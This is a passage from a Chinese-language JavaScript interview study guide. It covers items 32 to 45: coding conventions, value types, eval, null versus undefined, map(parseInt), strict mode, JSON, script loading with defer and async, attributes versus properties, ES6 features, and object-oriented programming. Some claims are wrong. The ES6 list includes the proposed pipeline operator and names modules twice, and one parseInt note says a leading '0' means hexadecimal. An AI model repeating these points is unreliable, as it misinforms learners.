这些内置对象提供了丰富的功能和方法,可以满足不同的编程需求。开发人员可以利用这些对象来处理数据、执行操作、处理错误等。

# 32 说几条写JavaScript的基本规范

⚡ 30 秒速记

  • 变量:一律 const 优先,需要重新赋值才用 let,不用 var;命名用小驼峰,常量全大写
  • 相等判断用 ===,避免隐式类型转换
  • 函数:单一职责、参数不超过三个(多了用对象)、优先纯函数
  • 别污染全局,用模块作用域
  • 分号和格式交给 Prettier,规则交给 ESLint,不要靠人肉约定
  • 异步统一用 async/await,别混用回调和 Promise
  • 加一条实际的:项目里配 husky + lint-staged 在提交时自动校验,规范才落得下去

写 JavaScript 时应保持命名、作用域、比较方式和代码格式一致,让代码更容易阅读和维护。 我一般优先使用 const,确实需要重新赋值时才用 let,并通过函数或模块避免污染全局作用域。判断相等使用 === 或 !==,条件与循环始终写花括号,数组和对象优先采用字面量语法。缩进、引号和分号等风格可以交给 Prettier 与 ESLint 统一,同时避免 eval()、with 和不必要的隐式类型转换。

下面是几条常见的写JavaScript的基本规范:

  1. 使用驼峰命名法(camel case)命名变量、函数和对象属性,例如:firstName, getUserData(), myObject.property
  2. 使用大写字母开头的驼峰命名法(Pascal case)命名构造函数或类,例如:Person, UserModel
  3. 使用全大写字母和下划线命名常量,例如:MAX_VALUE, API_KEY
  4. 使用单行注释(//)或块注释(/* */)对代码进行注释,解释代码的用途和实现思路
  5. 使用缩进(通常是四个空格或一个制表符)来表示代码块的层次结构,增加代码的可读性
  6. 使用严格模式("use strict";)来提高代码的安全性和效率,避免使用隐式全局变量
  7. 尽量避免使用全局变量,封装代码到函数或模块中,使用局部变量来限制作用域,减少命名冲突
  8. 在声明变量时,使用let或const来代替var,避免变量提升和作用域问题
  9. 尽量避免使用隐式类型转换,使用严格相等运算符(===和!==)进行比较,避免类型不匹配的问题
  10. 在使用条件语句(if、else)和循环语句(for、while)时,始终使用花括号来明确代码块的范围,避免歧义和错误
  11. 使用单引号或双引号来表示字符串,保持一致性,推荐使用单引号
  12. 尽量使用模板字符串来拼接字符串,避免使用字符串连接符(+)或复杂的字符串拼接操作
  13. 使用数组和对象的字面量语法([]和{})来创建数组和对象,而不是使用构造函数,例如:let arr = [1, 2, 3], let obj = {name: 'poetry', age: 25}
  14. 对于长的逻辑语句或表达式,可以使用合适的换行和缩进来增加可读性,或者使用括号将其分成多行
  15. 避免使用eval()函数和with语句,它们可能引起安全问题和性能问题

这些规范旨在提高代码的可读性、可维护性和一致性,促进团队协作和代码质量的提升。在编写JavaScript代码时,遵循这些规范可以帮助开发人员写出更优雅、健壮和易于

# 33 JavaScript有几种类型的值

⚡ 30 秒速记

  • 与第 30 题同考点
  • 两大类:原始类型(栈存值)7 种、引用类型(堆存值、栈存地址)
  • 原始类型:number、string、boolean、null、undefined、symbol、bigint
  • 判断类型的三个手段:typeof(原始类型够用,null 和引用类型分不清)、instanceof(看原型链,跨 iframe 失效)、Object.prototype.toString.call()(最准确,返回 [object Xxx])
  • 现代还可以用 Array.isArray、Number.isNaN 这类专用方法

JavaScript 的值分为原始类型和引用类型两大类。 原始类型包括 undefined、null、boolean、number、string、symbol 和 bigint,赋值或传参时复制的是值。引用类型以 Object 为基础,数组、函数、日期、正则和错误对象都属于这一类,传递时复制的是指向堆中对象的引用地址。判断类型时,基础值可先用 typeof,数组等对象则可结合专用方法判断。

JavaScript有以下几种类型的值:

  1. 原始数据类型:
  • Undefined:表示未定义的值。
  • Null:表示空值。
  • Boolean:表示布尔值,只有两个取值:true和false。
  • Number:表示数字,包括整数和浮点数。
  • String:表示字符串,用于表示文本数据。
  • Symbol(ES6新增):表示唯一的、不可变的值。
  1. 引用数据类型:
  • Object:表示对象,是一种复合值,可以包含多个键值对。
  • Array:表示数组,是一种有序的、可变的集合。
  • Function:表示函数,可以执行特定的任务。
  • Date:表示日期和时间。
  • RegExp:表示正则表达式,用于匹配和处理字符串。
  • Error:表示错误对象,用于捕获和处理异常情况。

原始数据类型存储在栈中,通过值的复制来进行赋值和传递。而引用数据类型存储在堆中,通过引用的方式进行赋值和传递,实际上传递的是指向堆中对象的引用地址。

注意:ES6新增的Symbol类型是一种唯一的、不可变的数据类型,用于创建唯一的标识符,主要用于对象属性的键值。

# 34 eval是做什么的

⚡ 30 秒速记

  • 把字符串当 JavaScript 代码执行,返回最后一个表达式的值
  • 三宗罪:安全(能执行任意代码,XSS 的温床)、性能(引擎无法预编译优化,且会创建新作用域)、可调试性(堆栈信息混乱)
  • 结论是别用。同类要避开的还有 new Function()、setTimeout 传字符串
  • 替代方案:解析 JSON 用 JSON.parse;动态取属性用 obj[key];确实需要动态执行就用沙箱(iframe + postMessage)或专用表达式解析库
  • 严格模式下 eval 有自己的作用域,不会污染外部(这是 ES5 的改进)

eval() 会把传入的字符串当作 JavaScript 代码解析并执行,也可以返回字符串表达式的计算结果。 它虽然能动态生成代码,但传入内容一旦不可信,就可能执行恶意代码,同时还会带来性能方面的问题。比如解析 JSON 时理论上可以使用 eval(),但更合适的做法是使用 JSON.parse(),因为它不会把任意内容当代码执行。实际开发中如果有其他实现方式,我一般不会选择 eval()。

eval() 是 JavaScript 的一个全局函数,用于将传入的字符串作为 JavaScript 代码进行解析和执行。

其主要功能有以下几个方面:

  1. 动态执行代码:eval() 可以将字符串作为 JavaScript 代码进行执行,将字符串解析为可执行的 JavaScript 代码。这样可以动态生成和执行代码,灵活性较高。
  2. 计算字符串表达式:eval() 可以计算传入的字符串表达式并返回结果。
  3. 解析 JSON:在某些情况下,可以使用 eval() 将 JSON 字符串解析为 JavaScript 对象。但是需要注意,使用 eval() 解析 JSON 字符串存在安全风险,因为它会执行传入的任意代码,可能导致恶意代码的注入。

需要注意的是,由于 eval() 执行的字符串会被解析和执行,因此在使用 eval() 时要格外小心,避免执行不可信的代码,以防止安全漏洞和性能问题。在大多数情况下,可以通过其他方式实现相同的功能,而不必使用 eval()。

# 35 null,undefined 的区别

⚡ 30 秒速记

  • undefined:声明了但没赋值、函数没有返回值、访问不存在的属性、形参没传 —— 是"系统给的空"
  • null:表示"这里应该有个对象但现在是空的" —— 是"程序员主动给的空"
  • typeof undefined === 'undefined',typeof null === 'object'(历史 bug)
  • null == undefined 为 true,null === undefined 为 false
  • 实践建议:主动表示"无"时用 null,不要手动给变量赋 undefined
  • ES2020 起可以用 ?? 和 ?. 专门处理这两个值(只有 null/undefined 才触发,比 || 精确)

undefined 通常表示值尚未定义,而 null 表示开发者明确把一个值设为空。 变量声明后没有赋值,或者访问不存在的对象属性时,得到的通常是 undefined;需要表达“这里目前没有对象”时,则可以主动赋值为 null。两者做宽松比较时可能发生类型转换,因此判断具体是哪一种空值时,应使用 ===。简单来说,一个更像系统默认的缺失状态,另一个更像代码主动表达的空状态。

null 和 undefined 是 JavaScript 中表示空值或缺失值的两个特殊值。

区别如下:

  1. undefined 表示变量声明了但没有被赋值,或者访问对象属性不存在时的默认返回值。
  • 当变量被声明但未被赋值时,默认值为 undefined。
  • 当访问对象的不存在属性时,返回值为 undefined。
  1. null 表示变量被赋予了一个空值,表示有一个对象,但该对象为空。
  • 当想要明确表示一个变量为空对象时,可以将其赋值为 null。
  • null 是一个特殊的对象值,表示对象为空,即不指向任何内存地址。

总结:

  • undefined 表示缺少值或未定义的值,常见于变量声明但未赋值的情况。
  • null 表示空对象,常见于显式地将对象赋值为空。

在使用条件判断时,要注意区分它们的差异。对于严格相等比较,推荐使用 === 来避免类型转换,以准确判断两者是否相等。

# 36 ["1", "2", "3"].map(parseInt) 答案是多少

⚡ 30 秒速记

  • 答案:[1, NaN, NaN]
  • 原因:map 会给回调传三个参数 (item, index, array),而 parseInt 接收两个 (string, radix)
  • 实际执行的是 parseInt('1',0) → 基数 0 视为 10 进制 → 1
  • parseInt('2',1) → 基数 1 非法(合法范围 2~36)→ NaN
  • parseInt('3',2) → 2 进制里没有数字 3 → NaN
  • 修法:.map(Number) 或 .map(s => parseInt(s, 10))
  • 这题真正考的是"别把多参函数直接当回调传"这个通用陷阱

["1", "2", "3"].map(parseInt) 的结果是 [1, NaN, NaN]。 map() 调用回调时会依次传入元素、索引和数组,而 parseInt() 会把前两个参数当作待解析字符串和进制基数。于是实际执行的是 parseInt("1", 0)、parseInt("2", 1) 和 parseInt("3", 2):前者得到 1,后两者分别因基数非法和数字不符合二进制规则得到 NaN。需要按十进制转换时,应写成 map(s => parseInt(s, 10))。

parseInt(str, radix)

  • 解析一个字符串,并返回10进制整数
  • 第一个参数str,即要解析的字符串
  • 第二个参数radix,基数(进制),范围2-36 ,以radix进制的规则去解析str字符串。不合法导致解析失败
  • 如果没有传radix
    • 当str以0开头,则按照16进制处理
    • 当str以0开头,则按照8进制处理(但是ES5取消了,可能还有一些老的浏览器使用)会按照10进制处理
    • 其他情况按照10进制处理
  • eslint会建议parseInt写第二个参数(是因为0开始的那个8进制写法不确定(如078),会按照10进制处理)
// 拆解
const arr = ["1", "2", "3"]
const res = arr.map((item,index,array)=>{
  // item: '1', index: 0
  // item: '2', index: 1
  // item: '3', index: 2
  return parseInt(item, index)
  // parseInt('1', 0) // 0相当没有传,按照10进制处理返回1 等价于parseInt('1')
  // parseInt('2', 1) // NaN 1不符合redix 2-36 的一个范围
  // parseInt('3', 2) // 2进制没有3 返回NaN
})

// 答案 [1, NaN, NaN]

# 37 javascript 代码中的"use strict";是什么意思

⚡ 30 秒速记

  • 开启严格模式,让引擎用更严格的规则解析代码,把一些静默错误变成显式报错
  • 主要限制:变量必须声明才能用、不能删除变量、函数参数不能重名、禁止八进制字面量、with 被禁、独立调用时 this 是 undefined
  • 写在文件顶部作用于整个脚本,写在函数第一行只作用于该函数
  • ES module 和 class 内部默认就是严格模式,不需要手写
  • 好处:更容易发现错误、部分场景引擎能做更好的优化、为未来语法预留关键字

"use strict" 表示开启严格模式,让 JavaScript 引擎用更严格的规则解析和执行代码。 它会把部分静默错误变成显式报错,例如禁止使用未声明变量、重复参数、with 和八进制字面量,独立调用函数时 this 也是 undefined。写在脚本顶部会影响整个脚本,写在函数体顶部则只影响该函数。ES module 和 class 默认处于严格模式,不需要重复声明。

"use strict"是一种特定的指令(directive),用于告诉 JavaScript 解析器在解析代码时采用严格模式。它可以出现在 JavaScript 代码的顶部(全局严格模式)或函数体的顶部(函数级严格模式)。

使用严格模式的好处包括:

  1. 消除了一些 JavaScript 的不安全操作,使代码更加安全。
  2. 阻止使用一些不推荐或已废弃的语法和特性。
  3. 强制执行更严格的语法和错误检查,减少潜在的错误。
  4. 提高性能,某些优化措施只在严格模式下生效。

严格模式对一些错误和不合理的行为进行了修正,例如:

  • 未声明的变量不能被使用。
  • 不能对只读属性进行赋值。
  • 函数的参数不能有重复的名称。
  • 不能删除变量或函数。
  • 不能使用八进制字面量(例如 0123)。
  • 不能使用 with 语句。

要注意的是,启用严格模式可能会导致一些代码在非严格模式下不起作用,因为严格模式对语法和行为有更高的要求。因此,在使用严格模式之前,需要仔细测试和检查代码,确保代码在严格模式下正常运行。

示例:

"use strict";

function myFunction() {
  // 函数级严格模式
  // ...
}

// 全局严格模式

上述代码中的"use strict"指令告诉 JavaScript 解析器在解析函数或全局代码时应该采用严格模式。

# 38 JSON 的了解

⚡ 30 秒速记

  • 一种轻量的数据交换格式,语法是 JS 对象字面量的子集,但比它严格:键必须双引号、不能有尾逗号、不能写注释
  • 两个方法:JSON.stringify 序列化、JSON.parse 反序列化
  • stringify 的坑:undefined/函数/symbol 作为对象值会被丢弃、作为数组元素会变成 null;Date 变字符串;NaN/Infinity 变 null;循环引用直接抛错
  • stringify 的第二三个参数很好用:replacer 过滤字段、space 格式化缩进;对象还能定义 toJSON 自定义序列化
  • 深拷贝别用 JSON.parse(JSON.stringify()),上面那些坑都会踩 —— 用 structuredClone()

JSON 是一种轻量、跨语言的数据交换格式,常用于前后端接口传输结构化数据。 它看起来像 JavaScript 对象,但语法更严格,例如键必须使用双引号,也不能写注释和尾逗号。JavaScript 通过 JSON.stringify() 序列化,通过 JSON.parse() 反序列化。实际使用要注意函数、undefined 等值可能丢失,循环引用会报错,所以不适合拿来做通用深拷贝。

JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,以文本形式表示结构化的数据。它采用类似于 JavaScript 对象的键值对的方式来描述数据,易于阅读和编写,同时也便于机器解析和生成。

JSON具有以下特点:

  1. 数据格式简单明确:JSON使用键值对(key-value pairs)的形式表示数据,使用大括号 {} 定义对象,使用方括号 [] 定义数组,键和值之间使用冒号 : 分隔。
  2. 支持多种数据类型:JSON支持包括字符串、数字、布尔值、对象、数组和null在内的基本数据类型。
  3. 跨平台和语言:JSON是一种通用的数据交换格式,不依赖于特定的编程语言或平台,可以被各种编程语言解析和生成。

在 JavaScript 中,可以使用内置的JSON对象进行 JSON 字符串与 JavaScript 对象之间的转换。常用的方法有:

  • JSON.parse():将 JSON 字符串解析为 JavaScript 对象。
  • JSON.stringify():将 JavaScript 对象转换为 JSON 字符串。

示例:

// JSON字符串转换为JSON对象
var jsonString = '{"name": "poetry", "age": 28, "city": "shenzhen"}';
var jsonObj = JSON.parse(jsonString);

// JSON对象转换为JSON字符串
var obj = {name: "poetry", age: 28, city: "shenzhen"};
var jsonString = JSON.stringify(obj);

通过使用 JSON,我们可以方便地在不同的系统和平台之间传递和处理数据。它在 Web 开发中被广泛应用于前后端数据交互、API 接口设计等场景。

# 39 js延迟加载的方式有哪些

⚡ 30 秒速记

  • 与第 12 题同考点
  • defer:并行下载,HTML 解析完后按顺序执行(首选)
  • async:并行下载,下载完立刻执行,顺序不定(适合独立第三方脚本)
  • 把 script 放 body 底部:老办法,仍然有效
  • 动态创建 script 插入 DOM
  • 动态 import():返回 Promise,配打包工具自动分包
  • 补一句:type="module" 默认就是 defer 行为

JavaScript 延迟加载常用 defer、动态插入 script,也可以根据场景使用 async 或动态 import()。 defer 会并行下载脚本,并在 HTML 解析完成后按顺序执行,通常适合有依赖关系的业务脚本。async 下载完成就执行,顺序不确定,更适合彼此独立的第三方脚本。需要按用户操作或业务条件加载时,我一般会动态创建 script,或者用 import() 配合打包工具按需分包。

延迟加载(Deferred Loading)是一种优化网页性能的技术,可以延迟加载页面中的资源(如脚本、样式表、图片等),从而加快页面的初始加载速度。

以下是几种常见的 JavaScript 延迟加载的方式:

  1. defer 属性:将脚本标签的 defer 属性设置为 "defer",使得脚本在页面完成解析时执行。例如:<script src="script.js" defer></script>
  2. 动态创建 script DOM:通过 JavaScript 动态创建 <script> 元素,并将其插入到页面中。这样可以控制脚本的加载时机,例如在页面加载完毕后再加载脚本
var script = document.createElement('script');
script.src = 'script.js';
document.body.appendChild(script);
  1. XmlHttpRequest 脚本注入:使用 XMLHttpRequest 对象加载 JavaScript 脚本,并将其注入到页面中。这种方式可以在页面加载过程中异步加载脚本。示例代码如下:
var xhr = new XMLHttpRequest();
xhr.open('GET', 'script.js', true);
xhr.onload = function() {
  if (xhr.status === 200) {
    var script = document.createElement('script');
    script.textContent = xhr.responseText;
    document.body.appendChild(script);
  }
};
xhr.send();
  1. 延迟加载工具:使用第三方的延迟加载工具库,如 LazyLoad,可以更方便地管理和控制页面中的延迟加载资源。这些工具通常提供了更多的功能和配置选项,例如按需加载、懒加载、预加载等。

这些延迟加载的方式可以根据具体的需求和场景选择合适的方式来优化页面加载性能,提升用户体验。

# 40 同步和异步的区别

⚡ 30 秒速记

  • 同步:任务按顺序执行,前一个不结束后一个就得等着,会阻塞
  • 异步:发起后不等结果,继续往下走,结果通过回调/Promise/事件通知
  • JS 是单线程的,异步靠事件循环实现:耗时操作交给浏览器的其它线程(网络、定时器),完成后把回调塞进任务队列排队
  • 异步写法的演进:回调 → Promise → async/await → 顶层 await
  • 注意:async/await 只是让异步代码"看起来同步",本质仍是 Promise + 微任务
  • 第 91 题的事件循环演示可以看清这个调度过程

同步会等待当前任务完成再继续执行,异步则先发起任务,完成后再通过回调、事件或 Promise 通知结果。 因此同步耗时操作容易阻塞后续代码,而网络请求、定时器等异步任务不会一直占住主执行流程。JavaScript 虽然是单线程,但浏览器会处理这些耗时操作,完成后再把回调放进任务队列,由事件循环调度。async/await 只是让异步代码更像同步写法,本质仍然基于 Promise。

  • 同步:浏览器访问服务器请求,用户看得到页面刷新,重新发请求,等请求完,页面刷新,新内容出现,用户看到新内容,进行下一步操作
  • 异步:浏览器访问服务器请求,用户正常操作,浏览器后端进行请求。等请求完,页面不刷新,新内容也会出现,用户看到新内容

常见的异步操作包括网络请求(Ajax)、定时器(setTimeout、setInterval)、事件处理等。在这些异步操作中,任务的执行不会阻塞程序的其他部分,而是在后台进行,当任务完成时,会通过回调函数或事件来通知程序进行下一步操作。

总结:同步操作是按照顺序依次执行任务,阻塞程序的执行;异步操作是通过回调函数或事件触发来执行任务,不会阻塞程序的执行,提高了程序的并发性和响应性。在实际开发中,异步操作通常用于处理耗时操作和需要等待结果的任务,以提高程序的性能和用户体验。

# 41 defer和async

⚡ 30 秒速记

  • 共同点:都不阻塞 HTML 解析,都是并行下载脚本
  • defer:等 HTML 完全解析完再执行,多个 defer 脚本按书写顺序执行,在 DOMContentLoaded 之前
  • async:下载完立刻执行(会打断 HTML 解析),多个 async 脚本谁先下完谁先执行,顺序不确定
  • 选型:有依赖关系、要操作 DOM 的用 defer;完全独立的第三方脚本(统计、广告)用 async
  • 都只对外链脚本有效,内联 script 上写了没用
  • type="module" 默认 defer 行为,加 async 才变成 async 行为

defer 和 async 都会并行下载外部脚本,核心区别在于执行时机和顺序。 defer 会等文档解析完成后再执行,并且多个脚本按标签书写顺序运行,适合存在依赖或需要操作 DOM 的代码。async 下载完成就立即执行,可能打断文档解析,多个脚本的执行顺序也无法保证,更适合统计、广告这类彼此独立的脚本。需要注意,这两个属性只对带 src 的外部脚本生效,写在内联脚本上没有作用。

  • defer并行加载js文件,会按照页面上script标签的顺序执行
  • async并行加载js文件,下载完成立即执行,不会按照页面上script标签的顺序执行

下面是更详细的解释:

defer和async是用于控制<script>标签加载和执行的属性。

  • defer 属性用于延迟脚本的执行,即脚本会被并行下载,但会等到整个文档解析完成后再执行。多个带有defer属性的脚本会按照它们在文档中的顺序执行。这样可以确保脚本在操作DOM之前加载,避免阻塞页面的渲染。需要注意的是,只有外部脚本(通过src属性引入的脚本)才能使用defer属性。
<script src="script1.js" defer></script>
<script src="script2.js" defer></script>
  • async 属性用于异步加载脚本,即脚本会被并行下载,并在下载完成后立即执行。多个带有async属性的脚本的执行顺序是不确定的,哪个脚本先下载完成就先执行。这样可以提高脚本的加载性能,但可能会导致脚本之间的依赖关系出现问题。同样,只有外部脚本才能使用async属性。
<script src="script1.js" async></script>
<script src="script2.js" async></script>

需要注意的是,defer和async属性只在外部脚本中生效,即通过src属性引入的脚本。如果脚本直接嵌入在<script>标签中,这两个属性不起作用。

选择使用defer还是async取决于脚本的加载和执行顺序的重要性。如果脚本之间有依赖关系,并且需要按照顺序执行,应使用defer。如果脚本之间没有依赖关系,且可以并行加载和执行,可以使用async来提高加载性能。

# 42 说说严格模式的限制

⚡ 30 秒速记

  • 与第 37 题同考点
  • 变量必须先声明(防止意外创建全局变量)
  • 独立调用的函数 this 是 undefined 而不是 window
  • 不能删除变量和不可配置属性(delete 会报错)
  • 函数参数不能重名、不能用八进制字面量、禁止 with
  • arguments 不再与形参联动
  • eval 有独立作用域,不污染外部
  • 保留了一批未来关键字(implements、interface、let、package、private…)

严格模式会禁用一些容易产生隐蔽问题的写法,让错误更早暴露出来。 例如变量必须先声明,函数参数不能重名,不能使用 with,也不能给只读属性赋值或删除不可删除的属性。它还会改变部分运行行为,比如普通函数里的 this 不再自动指向全局对象,arguments 也不会与形参联动。使用时可以在脚本或函数体开头写 'use strict',但要留意旧代码是否依赖这些宽松行为。

严格模式(Strict Mode)是 ECMAScript 5 引入的一种特殊模式,用于限制 JavaScript 代码中的一些不安全或不规范的语法,提供更严格的语法检查,减少一些怪异行为,并改善代码质量和可维护性。

严格模式的一些限制包括但不限于:

  1. 变量必须先声明再使用,禁止隐式全局变量。
  2. 函数的参数不能有同名属性,否则会报错。
  3. 禁止使用 with 语句。
  4. 不能对只读属性赋值,否则会报错。
  5. 不能使用前缀 0 表示八进制数,否则会报错。
  6. 不能删除不可删除的属性,不能删除变量,只能删除对象属性。
  7. eval 函数在其内部引入的变量不会影响外部作用域。
  8. eval 和 arguments 不能被重新赋值。
  9. arguments 不会自动反映函数参数的变化。
  10. 不能使用 arguments.callee 和 arguments.caller。
  11. 禁止 this 指向全局对象。
  12. 不能使用 fn.caller 和 fn.arguments 获取函数调用的堆栈。
  13. 增加了一些保留字,如 protected、static 和 interface。

使用严格模式可以提高代码的可靠性,减少意外错误和怪异行为。要启用严格模式,可以在脚本文件或函数体的开头加上 'use strict'; 来指示 JavaScript 解析器以严格模式解析代码。

# 43 attribute和property的区别是什么

⚡ 30 秒速记

  • attribute 是 HTML 标签上写的特性,值永远是字符串,存在 element.attributes 里
  • property 是 DOM 对象上的属性,有类型(布尔、数字、对象)
  • 初始时 attribute 会同步到 property,但之后不一定双向同步
  • 典型例子:input 里手动输入文字后,property value 变了,attribute value 还是初始值 —— 所以 getAttribute('value') 拿到的是初始值
  • checked/disabled 这类布尔属性差别更明显:attribute 只要存在就为真,property 是真正的 boolean
  • 自定义数据用 data-* attribute,通过 element.dataset 读写(会自动转小驼峰)

attribute 是写在 HTML 标签上的特性,而 property 是该元素对应的 DOM 对象属性。 前者通常通过 getAttribute、setAttribute 访问,值以字符串形式保存;后者可以直接用点语法读写,并且能保存布尔值、数字等具体类型。标准特性通常会映射到对应属性并相互影响,但自定义特性和对象属性不会自动同步。实际开发中,我一般用 property 操作元素状态,用 attribute 处理标签声明信息或自定义数据。

  • attribute是dom元素在文档中作为html标签拥有的属性;
  • property就是dom元素在js中作为对象拥有的属性。
  • 对于html的标准属性来说,attribute和property是同步的,是会自动更新的
  • 但是对于自定义的属性来说,他们是不同步的

attribute和property是用于描述DOM元素的特性和属性的两个概念。

区别如下:

  • Attribute(属性)是DOM元素在HTML文档中定义的特性,它可以在HTML标签上声明并存储相关信息。例如,<div class="container">中的class就是一个属性。在JavaScript中,可以通过getAttribute和setAttribute方法来获取和设置属性的值。

  • Property(属性)是DOM元素作为对象的属性,用于访问和操作元素的状态和行为。例如,document.getElementById('myElement').className中的className就是DOM对象的属性。在JavaScript中,可以直接通过.运算符来访问和修改对象的属性。

主要区别:

  1. 同步性:对于HTML标准属性来说,属性和特性是同步的,它们会相互影响和更新。但是对于自定义的属性,特性和属性之间是不同步的。
  2. 值的类型:属性值是具体的数据类型,例如字符串、布尔值、数字等。而特性值始终是字符串。
  3. 访问方式:属性可以通过直接访问对象的属性来获取和设置,而特性需要使用相关的方法(例如getAttribute和setAttribute)来访问和操作。

需要注意的是,大多数情况下,我们更常使用属性来操作DOM元素,因为它们更直观和方便。而特性主要用于处理自定义属性或一些特殊情况下的操作。

# 44 谈谈你对ES6的理解

⚡ 30 秒速记

  • 语法层:let/const 块级作用域、箭头函数、模板字符串、解构、默认参数、剩余/展开运算符、class
  • 数据结构:Map、Set、WeakMap、WeakSet、Symbol
  • 异步:Promise、Generator、for...of 与迭代器协议(async/await 是 ES2017)
  • 模块:import/export 成为语言标准
  • 元编程:Proxy、Reflect
  • 加分点:别停在 ES6 —— 后面每年都有更新,可选链 ?.、空值合并 ??、Object.entries、flat、replaceAll、structuredClone、Array.at、Object.groupBy 这些日常更常用

ES6 是一次重要的语言升级,它让 JavaScript 在作用域、异步编程和代码组织上更适合工程化开发。 日常最常用的是 let、const、箭头函数、模板字符串和解构,因为它们能减少作用域污染,也能让数据处理和函数书写更直接。面对异步流程可以使用 Promise,模块之间则通过 import、export 明确依赖关系;Map、Set 等数据结构也补足了常见的数据处理能力。实际使用时还要结合目标环境判断兼容性,必要时做相应处理。

ES6(ECMAScript 2015)是JavaScript的第六个主要版本,引入了许多新的语言特性和改进,以提升开发人员的效率和代码质量。以下是ES6的一些重要特性:

  1. 块级作用域:引入let和const关键字,允许在块级作用域中声明变量,解决了变量提升和作用域污染的问题。
  2. 箭头函数:使用箭头(=>)定义函数,简化了函数的书写,并且自动绑定了this。
  3. 模板字符串:使用反引号(`)包裹字符串,可以在字符串中使用变量和表达式,实现更灵活的字符串拼接和格式化。
  4. 解构赋值:通过解构赋值语法,可以从数组或对象中提取值,并赋给对应的变量,简化了变量赋值的操作。
  5. 默认参数:函数可以定义默认参数值,简化了函数调用时传参的操作。
  6. 扩展运算符:使用三个点(...)进行数组和对象的展开操作,可以将一个数组或对象拆分为独立的元素,或者将多个数组或对象合并为一个。
  7. Promise:引入了Promise对象,用于更好地处理异步操作,解决了回调地狱的问题,并提供了更清晰的异步编程模式。
  8. 类和模块化:ES6引入了类的概念,可以使用class关键字定义类,实现了更接近传统面向对象编程的方式。同时,ES6还提供了模块化的支持,可以使用import和export语法导入和导出模块。
  9. 模块化:引入了模块化的概念,可以使用import和export语法导入和导出模块,提供了更好的代码组织和模块复用的方式。
  10. 迭代器和生成器**:引入了迭代器和生成器的概念,可以通过自定义迭代器来遍历数据集合,并使用生成器函数来生成迭代器。
  11. 管道操作符:提案阶段的特性,引入了管道操作符(|>),可以将表达式的结果作为参数传递给下一个表达式,简化了函数调用和方法链的写法。

这些特性只是ES6的一部分,还有其他许多特性,如Promise.all、Map、Set、Proxy、Reflect等。ES6的引入使得JavaScript语言更加现代化和强大,提供了更多的编程工具和语法

当然,以下是对ES6特性的一些示例代码:

  1. 箭头函数:
// 传统函数
function sum(a, b) {
  return a + b;
}

// 箭头函数
const sum = (a, b) => a + b;

// 使用箭头函数作为回调函数
const numbers = [1, 2, 3, 4, 5];
const squaredNumbers = numbers.map(num => num * num);
console.log(squaredNumbers); // [1, 4, 9, 16, 25]
  1. 模板字符串:
const name = "Alice";
const age = 25;

// 使用模板字符串进行字符串拼接和变量插值
const message = `My name is ${name} and I am ${age} years old.`;
console.log(message); // My name is Alice and I am 25 years old.
  1. 解构赋值:
// 数组解构赋值
const numbers = [1, 2, 3, 4, 5];
const [first, second, ...rest] = numbers;
console.log(first); // 1
console.log(second); // 2
console.log(rest); // [3, 4, 5]

// 对象解构赋值
const person = { name: "Alice", age: 25 };
const { name, age } = person;
console.log(name); // Alice
console.log(age); // 25
  1. 默认参数:
// 函数默认参数
function greet(name = "Anonymous") {
  console.log(`Hello, ${name}!`);
}

greet(); // Hello, Anonymous!
greet("Alice"); // Hello, Alice!
  1. 扩展运算符:
// 数组展开
const numbers = [1, 2, 3];
const combined = [...numbers, 4, 5];
console.log(combined); // [1, 2, 3, 4, 5]

// 对象展开
const person = { name: "Alice", age: 25 };
const copiedPerson = { ...person };
console.log(copiedPerson); // { name: "Alice", age: 25 }
  1. Promise:
// Promise示例
const fetchData = () => {
  return new Promise((resolve, reject) => {
    setTimeout(() => {
      resolve("Data fetched successfully");
    }, 2000);
  });
};

fetchData()
  .then(data => {
    console.log(data); // Data fetched successfully
  })
  .catch(error => {
    console.error(error);
  });

这些示例展示了ES6的一些特性的用法,但请注意,ES6的特性在不同的环境中可能有不同的支持程度,因此在实际开发中需要注意目标环境的兼容性。

# 45 什么是面向对象编程及面向过程编程,它们的异同和优缺点

⚡ 30 秒速记

  • 面向过程:以"步骤"为中心,把问题拆成一系列函数依次调用。优点是直观、性能开销小;缺点是复用和维护差
  • 面向对象:以"对象"为中心,把数据和操作封装在一起。优点是易复用、易扩展、贴近现实建模;缺点是抽象成本高、性能略差
  • 三大特性:封装(隐藏内部实现)、继承(复用)、多态(同一接口不同实现)
  • JS 的特殊之处:它是基于原型的面向对象,不是基于类;class 只是原型继承的语法糖
  • 现代前端实际是混合范式:React 用函数式(纯函数、不可变数据),业务建模用 OOP,两者并不冲突

面向过程以执行步骤和函数为中心,面向对象则把数据与操作封装成对象,通过对象协作完成需求。 前者更直观、执行效率通常较高,但数据和函数相对分离,需求复杂后容易出现重复代码,维护和扩展也更困难。后者借助封装、继承和多态提高复用性与灵活性,更适合组织复杂系统,不过抽象设计和学习成本更高,也可能带来额外性能开销。实际选择要看场景:流程简单时面向过程足够清晰,业务关系复杂、变化频繁时面向对象通常更容易管理。

面向过程编程(Procedural Programming)和面向对象编程(Object-Oriented Programming)是两种不同的编程范式。

面向过程编程是一种以过程(函数、方法)为中心的编程方式,将程序看作是一系列的步骤,通过顺序执行这些步骤来解决问题。面向过程编程强调的是解决问题的步骤和算法,将问题划分为不同的子任务,通过函数的调用和数据的传递来实现任务之间的协作。

面向过程编程的特点:

  • 程序以过程为单位进行组织,以函数为基本单位。
  • 数据和函数是分离的,函数对于数据的操作是通过参数进行传递。
  • 强调算法和步骤,对问题进行分解和抽象,通过顺序、选择、循环等基本结构来控制程序的流程。
  • 程序的可重用性较低,容易产生大量的重复代码。

面向对象编程是一种以对象为中心的编程方式,将程序看作是一系列相互关联的对象,通过对象之间的交互和消息传递来解决问题。面向对象编程强调的是事物(对象)的抽象、封装、继承和多态性。

面向对象编程的特点:

  • 程序以对象为单位进行组织,对象是数据和方法的封装体。
  • 数据和函数(方法)是紧密关联的,对象通过方法来操作自己的数据。
  • 强调对象之间的关系和交互,通过继承、封装和多态性来实现代码的复用和灵活性。
  • 程序的可重用性较高,易于维护和扩展。

异同和优缺点:

  • 异同:
    • 异同点在于编程的思维方式和组织代码的方式不同,面向过程注重解决问题的步骤和算法,面向对象注重对象和对象之间的关系和交互。
    • 面向过程将问题分解为不同的函数来实现,而面向对象将问题抽象为对象,通过对象的方法来实现功能。
  • 优点:
    • 面向过程编程的优点包括:简单、直观、执行效率高。
    • 面向对象编程的优点包括:可重用性高、易于扩展和维护、代码更加模块化和灵活。
  • 缺点:
    • 面向过程编程的缺点包括:代码重复性高、维护困难、扩展性差。
    • 面向对象编程的缺点包括:复杂性高、学习曲线陡

# 46 面向对象编程思想

⚡ 30 秒速记

